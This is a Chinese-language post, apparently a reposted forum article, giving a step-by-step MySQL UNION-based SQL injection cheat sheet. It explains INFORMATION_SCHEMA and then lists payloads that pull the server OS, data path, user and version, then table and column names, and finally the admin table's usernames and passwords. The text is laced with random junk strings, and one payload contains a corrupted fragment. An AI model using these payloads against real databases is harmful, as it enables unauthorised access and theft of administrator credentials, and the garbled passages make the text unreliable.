mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
9 k: s$ \0 [; O9 c# A
学习盲注前先了解下 IFORMATION_SCHEMA 库
4 D$ K. T* d1 [& g- q9 g$ y; |/ b
% K1 N% S' _$ G( T* CMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
$ B7 `+ w5 S" E1 n|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
' \9 a! Q$ v) [9 ?3 e3 G|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
2 ]( K1 {. w: b4 t% `9 Y|---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
$ d# ~$ A7 `+ _5 ~  ^|---字段：TABLE_NAME ->存储所属表的名称

|---字段：COLUMN_NAME ->该字段的名称

* j# K  t; c* k9 g. J7 o( g. {5 ~
- }8 B, J7 \; Z) S1 s6 |' G
###########################################################################
) z  `5 ~6 W5 E. T' c) ]' n
0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
5 D5 G& ^0 ]8 d8 K1 ^4 n; k) W+ U
- e4 ]+ F+ {& Q9 U) H/*
/ ]3 [- F/ i( l! o- s
@@global.version_compile_os 获取系统版本

: X' m8 E* z3 _* x) c8 x5 ~@@datadir 数据库路径
3 T0 J/ Z, t/ p3 s* Odatabase() 当前数据库名称
0x3c62723e 换行HEX值

*/
9 @+ I$ T) v7 I' Q* g- F1 v( O
# K% Z& n8 @) i" M

######################################################################
; d) _9 J2 C1 h2 s! @* k5 ^2 e  Z
" I& E' t. O( a' ^0x002 获取表名

; R5 k9 L2 b* `- I0 F" Funion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
. p7 z, e, N( B- a( H) N# I5 m- _
, i4 x# c5 ^* o' S- G: Z

# A: `  `+ }% G- {% z) S/*
: G. \! z& ]. i: ?2 n2 ^
$ J. w4 `% q2 r9 q2 x# w6 _1 R0x67617264656e 为当前数据库名

% K( a. _! K- ?- s' P9 b5 U: Y! a/ Tgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

" Z! @& L9 w, R$ [5 \2 o0 ^+ _*/
9 T! M" t- G* c- ~) d
######################################################################


( q( ^1 h- ~2 i2 t% v+ G3 D4 y
( @6 L; q2 U4 G. m4 D% Z0x003 获取字段
" q% i# V2 |( o2 x2 q! s
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
6 M  b* Q& K1 r
, J, Y! i! h/ A1 U3 i6 W! ?0x61646d696e ->选择一个表

! ?5 K& i/ x+ b6 F. k5 e' F8 s! T0x67617264656e ->数据库名
; |; C2 E2 L& k- ?+ ^, z
*/
8 j$ w) O* {5 s! A) T: |/ q3 k7 Y( J
+ w- y) z" |7 j. B( E#####################################################################
0 V9 m5 U6 X& i' I- r( v8 ^5 S  e


- h1 r! |/ c( M& E* |0x004 获取数据

union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin


! M/ ]; h4 c* P& e, E
2 m) j+ }" {; ]5 t6 E. ~/*
7 }5 k* F" L8 G/ H* T# ~
- U% H( r+ a9 j  ?  v' r' o0x3c62723e 换行符号HEX编码

1 i! _0 [5 x  t8 J; Kgroup_concat 同时获得该字段所有数据

*/

1 F7 I- m5 i* e. G. F1 |3 @2 l) e- E